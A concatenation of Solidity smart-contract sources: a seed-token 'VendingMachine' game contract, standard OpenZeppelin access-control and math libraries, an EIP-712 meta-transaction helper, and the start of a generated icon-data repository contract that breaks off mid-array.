_sendLogPayload(abi.encodeWithSignature("log(address,address,bool,uint)", p0, p1, p2, p3)); } function log(address p0, address p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,bool,string)", p0, p1, p2, p3)); } function log(address p0, address p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,bool,bool)", p0, p1, p2, p3)); } function log(address p0, address p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,bool,address)", p0, p1, p2, p3)); } function log(address p0, address p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,address,uint)", p0, p1, p2, p3)); } function log(address p0, address p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,address,string)", p0, p1, p2, p3)); } function log(address p0, address p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,address,bool)", p0, p1, p2, p3)); } function log(address p0, address p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,address,address)", p0, p1, p2, p3)); } }

True

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// SPDX-License-Identifier: UNLICENSED pragma solidity ^0.8.9; import "@openzeppelin/contracts/access/AccessControl.sol"; import "./libraries/EIP712MetaTransaction.sol"; import "./libraries/ERC20.sol"; contract VendingMachine is AccessControl, EIP712MetaTransaction("VendingMachine", "1") { event SeedPurchase( address indexed from, uint256 indexed itemId, uint256 indexed value, uint32 itemType, bytes varData ); event EtherPurchase( address indexed from, uint256 indexed itemId, uint256 indexed value, uint32 itemType, bytes varData ); event BreedSeed( address indexed breeder, address indexed breedee, uint256 indexed price, bytes varData ); event BreedEth( address indexed breeder, address indexed breedee, uint256 indexed price, bytes varData ); struct InventoryEntry { uint256 index; uint256 seedPrice; uint256 ethPrice; uint32 quantity; uint32 itemType; } // Constants uint32 public constant UINT32_MAX = ~uint32(0); // Privileges bytes32 public constant PRIV_MANAGE = keccak256("PRIV_MANAGE"); bytes32 public constant PRIV_WITHDRAW = keccak256("PRIV_WITHDRAW"); mapping(uint256 => InventoryEntry) public inventoryEntries; uint256[] public itemIds; uint256 public nugbaseFeeEth = 0.0024 ether; uint256 public breedeeFeeEth = 0.0006 ether; uint256 public burnedSeed = 1200; uint256 public breedeeFeeSeed = 500; uint256 public daoSeed = 300; address public daoAddress = 0xFc8e07fDF358b8692976Eb649850A90b75079749; ERC20 internal seedContract = ERC20(0x80D55041E3954405664694899fF9F202c13C0e1c); constructor() { // Grant other privileges to the contract creator _setupRole(DEFAULT_ADMIN_ROLE, msgSender()); _setupRole(PRIV_MANAGE, msgSender()); _setupRole(PRIV_WITHDRAW, msgSender()); } function seedPurchase( uint256 _itemId, uint256 _value, bytes calldata _varData ) external { InventoryEntry storage inventoryEntry = inventoryEntries[_itemId]; require(_inventoryEntryExists(inventoryEntry)); require(inventoryEntry.seedPrice != 0); require(_value == inventoryEntry.seedPrice); require(seedContract.transferFrom(msgSender(), address(this), _value)); uint32 _itemType = inventoryEntry.itemType; // value saved before entry is deleted _deductInventoryItem(inventoryEntry, _itemId); emit SeedPurchase(msgSender(), _itemId, _value, _itemType, _varData); } function etherPurchase(uint256 _itemId, bytes calldata _varData) external payable { InventoryEntry storage inventoryEntry = inventoryEntries[_itemId]; require(_inventoryEntryExists(inventoryEntry)); require(inventoryEntry.ethPrice != 0); require(msg.value == inventoryEntry.ethPrice); uint32 _itemType = inventoryEntry.itemType; // value saved before entry is deleted _deductInventoryItem(inventoryEntry, _itemId); emit EtherPurchase( msgSender(), _itemId, msg.value, _itemType, _varData ); } function upsertInventoryItem( uint256 _itemId, uint256 seedPrice, uint256 ethPrice, uint32 quantity, uint32 itemType ) external onlyRole(PRIV_MANAGE) { require(quantity > 0); InventoryEntry storage inventoryEntry = inventoryEntries[_itemId]; if (!_inventoryEntryExists(inventoryEntry)) { // New item inventoryEntry.index = itemIds.length; itemIds.push(_itemId); } inventoryEntry.seedPrice = seedPrice; inventoryEntry.ethPrice = ethPrice; inventoryEntry.quantity = quantity; inventoryEntry.itemType = itemType; } function deleteInventoryItem(uint256 _itemId) external onlyRole(PRIV_MANAGE) { _deleteInventoryItem(_itemId); } function withdrawSeed(uint256 _amount) external onlyRole(PRIV_WITHDRAW) { seedContract.transfer(msgSender(), _amount); } function withdrawEther(uint256 _amount) external onlyRole(PRIV_WITHDRAW) { payable(msgSender()).transfer(_amount); } function totalItems() public view returns (uint256) { return itemIds.length; } function _deductInventoryItem( InventoryEntry storage inventoryEntry, uint256 _itemId ) internal { if (inventoryEntry.quantity == UINT32_MAX) { return; } else if (inventoryEntry.quantity > 1) { inventoryEntry.quantity--; } else { _deleteInventoryItem(_itemId); } } function _deleteInventoryItem(uint256 _itemId) internal { InventoryEntry storage inventoryEntry = inventoryEntries[_itemId]; if (!_inventoryEntryExists(inventoryEntry)) { return; } uint256 lastItemIndex = itemIds.length - 1; // Safe because at least one item must exist (asserted above) uint256 lastItemId = itemIds[lastItemIndex]; itemIds[inventoryEntry.index] = itemIds[lastItemIndex]; inventoryEntries[lastItemId].index = inventoryEntry.index; delete inventoryEntries[_itemId]; } function _inventoryEntryExists(InventoryEntry storage inventoryEntry) internal view returns (bool) { return inventoryEntry.quantity != 0; } function breedEth(address payable _breedee, bytes calldata _varData) external payable { require(msg.value == nugbaseFeeEth + breedeeFeeEth, "Not enough ETH"); _breedee.transfer(breedeeFeeEth); emit BreedEth( msg.sender, _breedee, nugbaseFeeEth + breedeeFeeEth, _varData ); } function breedSeed(address _breedee, bytes calldata _varData) external { // ensure user has enough SEED to breed and has permitted the // VendingMachine to spend their SEED require( seedContract.balanceOf(msgSender()) >= (burnedSeed + breedeeFeeSeed + daoSeed), "Not enough SEED" ); require( seedContract.allowance(msgSender(), address(this)) >= (burnedSeed + breedeeFeeSeed + daoSeed), "Allowance not set" ); // Split the SEED 3 ways to burn, breedee, and FlowerpatchDAO seedContract.burn(msgSender(), burnedSeed); if (msgSender() != _breedee) { require( seedContract.transferFrom(msgSender(), _breedee, breedeeFeeSeed) ); } else { require( seedContract.transferFrom( msgSender(), address(this), breedeeFeeSeed ) ); } require(seedContract.transferFrom(msgSender(), daoAddress, daoSeed)); emit BreedSeed( msgSender(), _breedee, burnedSeed + breedeeFeeSeed + daoSeed, _varData ); } function setBreedeeFeeEth(uint256 _fee) external onlyRole(PRIV_MANAGE) { breedeeFeeEth = _fee; } function setNugbaseFeeEth(uint256 _fee) external onlyRole(PRIV_MANAGE) { nugbaseFeeEth = _fee; } function setBreedeeFeeSeed(uint256 _fee) external onlyRole(PRIV_MANAGE) { breedeeFeeSeed = _fee; } function setBurnedSeed(uint256 _fee) external onlyRole(PRIV_MANAGE) { burnedSeed = _fee; } function setDaoSeed(uint256 _fee) external onlyRole(PRIV_MANAGE) { daoSeed = _fee; } function setDaoAddress(address _dao) external onlyRole(PRIV_MANAGE) { daoAddress = _dao; } function setSeedToken(address _seed) external onlyRole(PRIV_MANAGE) { seedContract = ERC20(_seed); } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (access/AccessControl.sol) pragma solidity ^0.8.0; import "./IAccessControl.sol"; import "../utils/Context.sol"; import "../utils/Strings.sol"; import "../utils/introspection/ERC165.sol"; /** * @dev Contract module that allows children to implement role-based access * control mechanisms. This is a lightweight version that doesn't allow enumerating role * members except through off-chain means by accessing the contract event logs. Some * applications may benefit from on-chain enumerability, for those cases see * {AccessControlEnumerable}. * * Roles are referred to by their `bytes32` identifier. These should be exposed * in the external API and be unique. The best way to achieve this is by * using `public constant` hash digests: * * ``` * bytes32 public constant MY_ROLE = keccak256("MY_ROLE"); * ``` * * Roles can be used to represent a set of permissions. To restrict access to a * function call, use {hasRole}: * * ``` * function foo() public { * require(hasRole(MY_ROLE, msg.sender)); * ... * } * ``` * * Roles can be granted and revoked dynamically via the {grantRole} and * {revokeRole} functions. Each role has an associated admin role, and only * accounts that have a role's admin role can call {grantRole} and {revokeRole}. * * By default, the admin role for all roles is `DEFAULT_ADMIN_ROLE`, which means * that only accounts with this role will be able to grant or revoke other * roles. More complex role relationships can be created by using * {_setRoleAdmin}. * * WARNING: The `DEFAULT_ADMIN_ROLE` is also its own admin: it has permission to * grant and revoke this role. Extra precautions should be taken to secure * accounts that have been granted it. */ abstract contract AccessControl is Context, IAccessControl, ERC165 { struct RoleData { mapping(address => bool) members; bytes32 adminRole; } mapping(bytes32 => RoleData) private _roles; bytes32 public constant DEFAULT_ADMIN_ROLE = 0x00; /** * @dev Modifier that checks that an account has a specific role. Reverts * with a standardized message including the required role. * * The format of the revert reason is given by the following regular expression: * * /^AccessControl: account (0x[0-9a-f]{40}) is missing role (0x[0-9a-f]{64})$/ * * _Available since v4.1._ */ modifier onlyRole(bytes32 role) { _checkRole(role, _msgSender()); _; } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IAccessControl).interfaceId || super.supportsInterface(interfaceId); } /** * @dev Returns `true` if `account` has been granted `role`. */ function hasRole(bytes32 role, address account) public view override returns (bool) { return _roles[role].members[account]; } /** * @dev Revert with a standard message if `account` is missing `role`. * * The format of the revert reason is given by the following regular expression: * * /^AccessControl: account (0x[0-9a-f]{40}) is missing role (0x[0-9a-f]{64})$/ */ function _checkRole(bytes32 role, address account) internal view { if (!hasRole(role, account)) { revert( string( abi.encodePacked( "AccessControl: account ", Strings.toHexString(uint160(account), 20), " is missing role ", Strings.toHexString(uint256(role), 32) ) ) ); } } /** * @dev Returns the admin role that controls `role`. See {grantRole} and * {revokeRole}. * * To change a role's admin, use {_setRoleAdmin}. */ function getRoleAdmin(bytes32 role) public view override returns (bytes32) { return _roles[role].adminRole; } /** * @dev Grants `role` to `account`. * * If `account` had not been already granted `role`, emits a {RoleGranted} * event. * * Requirements: * * - the caller must have ``role``'s admin role. */ function grantRole(bytes32 role, address account) public virtual override onlyRole(getRoleAdmin(role)) { _grantRole(role, account); } /** * @dev Revokes `role` from `account`. * * If `account` had been granted `role`, emits a {RoleRevoked} event. * * Requirements: * * - the caller must have ``role``'s admin role. */ function revokeRole(bytes32 role, address account) public virtual override onlyRole(getRoleAdmin(role)) { _revokeRole(role, account); } /** * @dev Revokes `role` from the calling account. * * Roles are often managed via {grantRole} and {revokeRole}: this function's * purpose is to provide a mechanism for accounts to lose their privileges * if they are compromised (such as when a trusted device is misplaced). * * If the calling account had been revoked `role`, emits a {RoleRevoked} * event. * * Requirements: * * - the caller must be `account`. */ function renounceRole(bytes32 role, address account) public virtual override { require(account == _msgSender(), "AccessControl: can only renounce roles for self"); _revokeRole(role, account); } /** * @dev Grants `role` to `account`. * * If `account` had not been already granted `role`, emits a {RoleGranted} * event. Note that unlike {grantRole}, this function doesn't perform any * checks on the calling account. * * [WARNING] * ==== * This function should only be called from the constructor when setting * up the initial roles for the system. * * Using this function in any other way is effectively circumventing the admin * system imposed by {AccessControl}. * ==== * * NOTE: This function is deprecated in favor of {_grantRole}. */ function _setupRole(bytes32 role, address account) internal virtual { _grantRole(role, account); } /** * @dev Sets `adminRole` as ``role``'s admin role. * * Emits a {RoleAdminChanged} event. */ function _setRoleAdmin(bytes32 role, bytes32 adminRole) internal virtual { bytes32 previousAdminRole = getRoleAdmin(role); _roles[role].adminRole = adminRole; emit RoleAdminChanged(role, previousAdminRole, adminRole); } /** * @dev Grants `role` to `account`. * * Internal function without access restriction. */ function _grantRole(bytes32 role, address account) internal virtual { if (!hasRole(role, account)) { _roles[role].members[account] = true; emit RoleGranted(role, account, _msgSender()); } } /** * @dev Revokes `role` from `account`. * * Internal function without access restriction. */ function _revokeRole(bytes32 role, address account) internal virtual { if (hasRole(role, account)) { _roles[role].members[account] = false; emit RoleRevoked(role, account, _msgSender()); } } } //SPDX-License-Identifier: MIT pragma solidity ^0.8.3; import "./EIP712Base.sol"; import "@openzeppelin/contracts/utils/math/SafeMath.sol"; contract EIP712MetaTransaction is EIP712Base { using SafeMath for uint256; bytes32 private constant META_TRANSACTION_TYPEHASH = keccak256( bytes( "MetaTransaction(uint256 nonce,address from,bytes functionSignature)" ) ); event MetaTransactionExecuted( address userAddress, address payable relayerAddress, bytes functionSignature ); mapping(address => uint256) private nonces; /* * Meta transaction structure. * No point of including value field here as if user is doing value transfer then he has the funds to pay for gas * He should call the desired function directly in that case. */ struct MetaTransaction { uint256 nonce; address from; bytes functionSignature; } constructor(string memory name, string memory version) EIP712Base(name, version) {} function convertBytesToBytes4(bytes memory inBytes) internal pure returns (bytes4 outBytes4) { if (inBytes.length == 0) { return 0x0; } assembly { outBytes4 := mload(add(inBytes, 32)) } } function executeMetaTransaction( address userAddress, bytes memory functionSignature, bytes32 sigR, bytes32 sigS, uint8 sigV ) public payable returns (bytes memory) { bytes4 destinationFunctionSig = convertBytesToBytes4(functionSignature); require( destinationFunctionSig != msg.sig, "functionSignature can not be of executeMetaTransaction method" ); MetaTransaction memory metaTx = MetaTransaction({ nonce: nonces[userAddress], from: userAddress, functionSignature: functionSignature }); require( verify(userAddress, metaTx, sigR, sigS, sigV), "Signer and signature do not match" ); nonces[userAddress] = nonces[userAddress].add(1); // Append userAddress at the end to extract it from calling context (bool success, bytes memory returnData) = address(this).call( abi.encodePacked(functionSignature, userAddress) ); require(success, "Function call not successful"); emit MetaTransactionExecuted( userAddress, payable(msg.sender), functionSignature ); return returnData; } function hashMetaTransaction(MetaTransaction memory metaTx) internal pure returns (bytes32) { return keccak256( abi.encode( META_TRANSACTION_TYPEHASH, metaTx.nonce, metaTx.from, keccak256(metaTx.functionSignature) ) ); } function getNonce(address user) external view returns (uint256 nonce) { nonce = nonces[user]; } function verify( address user, MetaTransaction memory metaTx, bytes32 sigR, bytes32 sigS, uint8 sigV ) internal view returns (bool) { address signer = ecrecover( toTypedMessageHash(hashMetaTransaction(metaTx)), sigV, sigR, sigS ); require(signer != address(0), "Invalid signature"); return signer == user; } function msgSender() internal view returns (address sender) { if (msg.sender == address(this)) { bytes memory array = msg.data; uint256 index = msg.data.length; assembly { // Load the 32 bytes word from memory with the address on the lower 20 bytes, and mask those. sender := and( mload(add(array, index)), 0xffffffffffffffffffffffffffffffffffffffff ) } } else { sender = msg.sender; } return sender; } } // SPDX-License-Identifier: UNLICENSED pragma solidity ^0.8.9; interface ERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); function burn(address user, uint256 amount) external; event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (access/IAccessControl.sol) pragma solidity ^0.8.0; /** * @dev External interface of AccessControl declared to support ERC165 detection. */ interface IAccessControl { /** * @dev Emitted when `newAdminRole` is set as ``role``'s admin role, replacing `previousAdminRole` * * `DEFAULT_ADMIN_ROLE` is the starting admin for all roles, despite * {RoleAdminChanged} not being emitted signaling this. * * _Available since v3.1._ */ event RoleAdminChanged(bytes32 indexed role, bytes32 indexed previousAdminRole, bytes32 indexed newAdminRole); /** * @dev Emitted when `account` is granted `role`. * * `sender` is the account that originated the contract call, an admin role * bearer except when using {AccessControl-_setupRole}. */ event RoleGranted(bytes32 indexed role, address indexed account, address indexed sender); /** * @dev Emitted when `account` is revoked `role`. * * `sender` is the account that originated the contract call: * - if using `revokeRole`, it is the admin role bearer * - if using `renounceRole`, it is the role bearer (i.e. `account`) */ event RoleRevoked(bytes32 indexed role, address indexed account, address indexed sender); /** * @dev Returns `true` if `account` has been granted `role`. */ function hasRole(bytes32 role, address account) external view returns (bool); /** * @dev Returns the admin role that controls `role`. See {grantRole} and * {revokeRole}. * * To change a role's admin, use {AccessControl-_setRoleAdmin}. */ function getRoleAdmin(bytes32 role) external view returns (bytes32); /** * @dev Grants `role` to `account`. * * If `account` had not been already granted `role`, emits a {RoleGranted} * event. * * Requirements: * * - the caller must have ``role``'s admin role. */ function grantRole(bytes32 role, address account) external; /** * @dev Revokes `role` from `account`. * * If `account` had been granted `role`, emits a {RoleRevoked} event. * * Requirements: * * - the caller must have ``role``'s admin role. */ function revokeRole(bytes32 role, address account) external; /** * @dev Revokes `role` from the calling account. * * Roles are often managed via {grantRole} and {revokeRole}: this function's * purpose is to provide a mechanism for accounts to lose their privileges * if they are compromised (such as when a trusted device is misplaced). * * If the calling account had been granted `role`, emits a {RoleRevoked} * event. * * Requirements: * * - the caller must be `account`. */ function renounceRole(bytes32 role, address account) external; } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/Context.sol) pragma solidity ^0.8.0; /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/Strings.sol) pragma solidity ^0.8.0; /** * @dev String operations. */ library Strings { bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef"; /** * @dev Converts a `uint256` to its ASCII `string` decimal representation. */ function toString(uint256 value) internal pure returns (string memory) { // Inspired by OraclizeAPI's implementation - MIT licence // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); while (value != 0) { digits -= 1; buffer[digits] = bytes1(uint8(48 + uint256(value % 10))); value /= 10; } return string(buffer); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation. */ function toHexString(uint256 value) internal pure returns (string memory) { if (value == 0) { return "0x00"; } uint256 temp = value; uint256 length = 0; while (temp != 0) { length++; temp >>= 8; } return toHexString(value, length); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length. */ function toHexString(uint256 value, uint256 length) internal pure returns (string memory) { bytes memory buffer = new bytes(2 * length + 2); buffer[0] = "0"; buffer[1] = "x"; for (uint256 i = 2 * length + 1; i > 1; --i) { buffer[i] = _HEX_SYMBOLS[value & 0xf]; value >>= 4; } require(value == 0, "Strings: hex length insufficient"); return string(buffer); } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/introspection/ERC165.sol) pragma solidity ^0.8.0; import "./IERC165.sol"; /** * @dev Implementation of the {IERC165} interface. * * Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check * for the additional interface id that will be supported. For example: * * ```solidity * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { * return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId); * } * ``` * * Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation. */ abstract contract ERC165 is IERC165 { /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IERC165).interfaceId; } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/introspection/IERC165.sol) pragma solidity ^0.8.0; /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165 { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); } //SPDX-License-Identifier: MIT pragma solidity ^0.8.3; contract EIP712Base { struct EIP712Domain { string name; string version; address verifyingContract; bytes32 salt; } bytes32 internal constant EIP712_DOMAIN_TYPEHASH = keccak256( bytes( "EIP712Domain(string name,string version,address verifyingContract,bytes32 salt)" ) ); bytes32 internal domainSeparator; constructor(string memory name, string memory version) { domainSeparator = keccak256( abi.encode( EIP712_DOMAIN_TYPEHASH, keccak256(bytes(name)), keccak256(bytes(version)), address(this), bytes32(getChainID()) ) ); } function getChainID() internal view returns (uint256 id) { assembly { id := chainid() } } function getDomainSeparator() private view returns (bytes32) { return domainSeparator; } /** * Accept message hash and returns hash message in EIP712 compatible form * So that it can be used to recover signer from signature signed using EIP712 formatted data * https://eips.ethereum.org/EIPS/eip-712 * "\\x19" makes the encoding deterministic * "\\x01" is the version byte to make it compatible to EIP-191 */ function toTypedMessageHash(bytes32 messageHash) internal view returns (bytes32) { return keccak256( abi.encodePacked("\x19\x01", getDomainSeparator(), messageHash) ); } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/math/SafeMath.sol) pragma solidity ^0.8.0; // CAUTION // This version of SafeMath should only be used with Solidity 0.8 or later, // because it relies on the compiler's built in overflow checks. /** * @dev Wrappers over Solidity's arithmetic operations. * * NOTE: `SafeMath` is generally not needed starting with Solidity 0.8, since the compiler * now has built in overflow checking. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { uint256 c = a + b; if (c < a) return (false, 0); return (true, c); } } /** * @dev Returns the substraction of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b > a) return (false, 0); return (true, a - b); } } /** * @dev Returns the multiplication of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) return (true, 0); uint256 c = a * b; if (c / a != b) return (false, 0); return (true, c); } } /** * @dev Returns the division of two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a / b); } } /** * @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a % b); } } /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { return a + b; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return a - b; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { return a * b; } /** * @dev Returns the integer division of two unsigned integers, reverting on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return a % b; } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {trySub}. * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b <= a, errorMessage); return a - b; } } /** * @dev Returns the integer division of two unsigned integers, reverting with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a / b; } } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting with custom message when dividing by zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryMod}. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a % b; } } }

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// SPDX-License-Identifier: UNLICENSED // Copyright (c) 2021 John F Simon Jr // All Rights Reserved pragma solidity >=0.8.0 <0.9.0; // GENERATED CODE: DO NOT EDIT import "./IEveryIconRepository.sol"; contract EveryIconRepository0 is IEveryIconRepository { function icon(uint256 i) external view returns (uint256[4] memory icon_) { require(i < 32, "Invalid icon index"); i *= 4; for (uint j = 0; j < 4; j++) { icon_[j] = icons[i+j]; } } uint256[128] private icons = [102726055821432266757097994481284062897730376743359981787118520369507125224220,13066033415883928666472990527403844955539607922280582252339063638406004415715,102726055821432266757097994481284062897730376743359981787118520369507125224220,13066033415883928666472990527403844955539607922280582252339063638406004415715,115792089236947422350258995351672718686548653477271090790429701573714854018175,65111823875100805546830423475732515175680698418211962756970284085249872756735,115792089225516276615990078882896195268805306501562255610450078209977226334195,114208220948164562515312480219361496791853380572076069845983852921784794873855,115112846579610463611774179926552933622919397851310416335484922586314585538175,65108303984305793856818792849615016343259566608830539367951005830670830243825,115112846579610463611774179926552933622919397851310416335484922586314585538175,65108303984305793856818792849615016343259566608830539367951005830670830243825,115792089225357308575107277084205263028828561681338433769664185228057126211185,64429061338558948893485695691962686937350402778802521933771743188928289570815,115792089225357308575107277084205263028828561681338433769664185228057126211185,64429061338558948893485695691962686937350402778802521933771743188928289570815,115396149664081700824474723542568961096687632684577851714989514993083929394975,14431558489285578054928049692468049629504197942358881567388391088319641886695,104924206900305923930880185675119194939582894931945390637395468324747222181880,112624352658275383460429996115907517894035228438039568198599377617588595456255,12168691880892895782806901751186009352447781678027062075277945107340,52264133651367022784999066322281803739005890340993095475969357165647825469440,12168691880892895782806901751186009352447781678027062075277945107340,52264133651367022784999066322281803739005890340993095475969357165647825469440,18609200818875816021793276538463977472,0,0,1474372786738474141921240422513198024617540460425793102365790830592,2948745573476948284002332662832713746203824765225841724722528845824,5300541194335152988749892502228755584700853328378488919968985275940470784,1234128418278247445595483283455794815752342025971643567908585696,12664765799359512316196390490736619413848691044415366572164253453450706157568,101318098811480669527379381925071198589071508966179414447420136121925650881536,1356939300944242896175966709051474739860375177178258123327826834537276506336,1545991182041040410383207489757924453455976016564902262298613571056042752,49471717825313293132262639512404247367204767140212986220319809753495633948,1583868300951551715839410914498439993926643957277451841540777657954428781440,50680265362584162950052551190590265496265255736163425312455641582971341795340,1583868300951551715839410914498439993926643957277451841540777657954428781440,50680265362584162950052551190590265496265255736163425312455641582971341795340,26959946660873538060741835960174461801791452538186943042387869433855,26959946660873538060741835960174461801791452538186943042387869433855,26959946660873538060741835960174461801791452538186943042387869433855,26959946660873538060741835960174461801791452538186943042387869433855,77194726158210796949047323339125271902179989777093709359638389338608753093290,77194726158210796949047323339125271902179989777093709359638389338608753093290,77194726158210796949047323339125271902179989777093709359638389338608753093290,77194726158210796949047323339125271902179989777093709359638389338608753093290,6335033182077662080576239216105477419951399992212188360676506602360037994510,679242647379983316760749324004031028410288800177154956389417226869276675585,58094028141480226994222524605672839255161077464176257883795072287892761870720,50683785266378323032011471862905560149747218409074962838596587890791053099120,3167516585875956792770091728671694079218364231979686289720896408669600661560,3167516585875956792770091728671694078887390359690830542084009162864681025535,115792089211093743681894151846882874802788704871890396609556452230500504879160,3167516612098408534446924890476727129037696281152142224348253694459853717560,3561964519180903981783651797058206186766688733261347029250882392553859573728,112173640826020006280716467826612035905696864806958668204251514687868909846776,14023416628507116671832574043705982789067375130478118509466806536999773667359,3575878439819273351364197159730416445935805698956887758026286818470398003168,6335033171751913585540183457343388157774780719381661084168018325721007095920,6335033171751913585540183457343388157774780719381661084168018325721007095920,6335033171751913585540183457343388157774780719381661084168018325721007095920,6335033171751913585540183457343388157774780719381661084168018325721007095920,340282366920938463444927863358058659840,18446744073709551615,115792089210356248756420345214020892766250353992003419616917011526809519390720,26959946667150639793205513449688727755433459589824289461447677706240,737186393369237070964901956717690381950182270755904486980648960000,98943435627589522456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} contract EveryIconRepository1 is IEveryIconRepository { function icon(uint256 i) external view returns (uint256[4] memory icon_) { require(i < 32, "Invalid icon index"); i *= 4; for (uint j = 0; j < 4; j++) { icon_[j] = icons[i+j]; } } uint256[128] private icons = 